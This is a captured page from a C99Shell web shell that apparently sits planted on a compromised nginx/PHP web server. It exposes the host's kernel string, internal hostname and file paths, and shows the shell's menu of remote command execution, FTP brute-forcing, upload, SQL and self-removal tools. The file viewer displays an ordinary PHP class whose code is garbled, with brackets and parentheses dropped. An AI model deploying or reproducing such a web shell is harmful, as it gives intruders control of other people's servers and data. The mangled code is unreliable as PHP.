!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/data/classes/datasource/   drwxr-xr-x
Free 30.72 GB of 49.93 GB (61.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     dataresult.php (2.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Abstract class, parent for QueryResult and ArrayResult
 */
class DataResult
{
    
//    list of column names in the fetched query
    
protected $fieldNames = array();
    protected 
$upperMap = array();
    protected 
$fieldMap = array();

    
/**
     * Field substitutions 
     * @var Array of "source field name" => "output field name"
     * 
     */
    
protected $fieldSubs = array();

    protected 
$data;
    function 
__construct() {}

/**    abstract methods  */
    
public function getQueryHandle() { return null; }
    public function 
fetchAssoc() { return null; }
    public function 
fetchNumeric() { return null; }
    public function 
closeQuery() {}
    public function 
numFields() { return 0; }
    public function 
fieldName$offset ) { return ""; }
    
    public function 
seekRecord$n ) {}
    
    public function 
eof() { return true; }
    public function 
next() {}
    public function 
getData() {}
    public function 
getNumData() {}
    protected function 
prepareRecord() { return false; }
    protected function 
fillColumnNames() {}

/**    end abstract methods  */

/**    utility methods  */
    
protected function numericToAssoc$data ) {
        if( !
$data ) {
            return 
$data;
        }
        
$ret = array();
        
$nFields $this->numFields();
        for( 
$i 0$i $nFields; ++$i ) {
            
$ret$this->fieldNames$i ] ] = $data$i ];
        }
        if( 
$this->fieldSubs ) {
            return 
$this->substituteField$ret );
        }
        return 
$ret;
    }

    protected function 
assocToNumeric$data ) {
        if( !
$data ) {
            return 
$data;
        }
        
$ret = array();
        
$nFields $this->numFields();
        for( 
$i 0$i $nFields; ++$i )
            
$ret$i ] = $data$this->fieldNames$i ] ];
        return 
$ret;
    }


    public function 
value$field 
    {
        if( !
$this->prepareRecord() )
            return 
null;
        if( 
is_int($field) )
            return 
$this->data$field ];
        if( isset( 
$this->fieldMap$field ] ) )
            return 
$this->data$this->fieldMap$field ] ];
        if( isset( 
$this->upperMapstrtoupper$field ) ] ) )
            return 
$this->data$this->upperMapstrtoupper$field ) ] ];
        return 
null;
    }
    
    public function 
seekPage$pageSize$page )
    {
        
$this->seekRecord$pageSize * ( $page ) );
    }

    
/**
     * @param Array
     */
    
function setFieldSubstitutions$fieldSubs ) {
        
$this->fieldSubs $fieldSubs;
    }

    
/**
     * change field names according to subst
     * @param Array
     * @return Array
     */
    
function substituteFields( &$data ) {
        if( !
$this->fieldSubs )
            return;
        
$ret = array();
        foreach( 
$data as $field => $val ) {
            if( 
$this->fieldSubs$field ] ) {
                
$ret$this->fieldSubs$field ] ] = $val;
            } else {
                
$ret$field ] = $val;
            }
        }
        return 
$ret;
    }
    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0022 ]--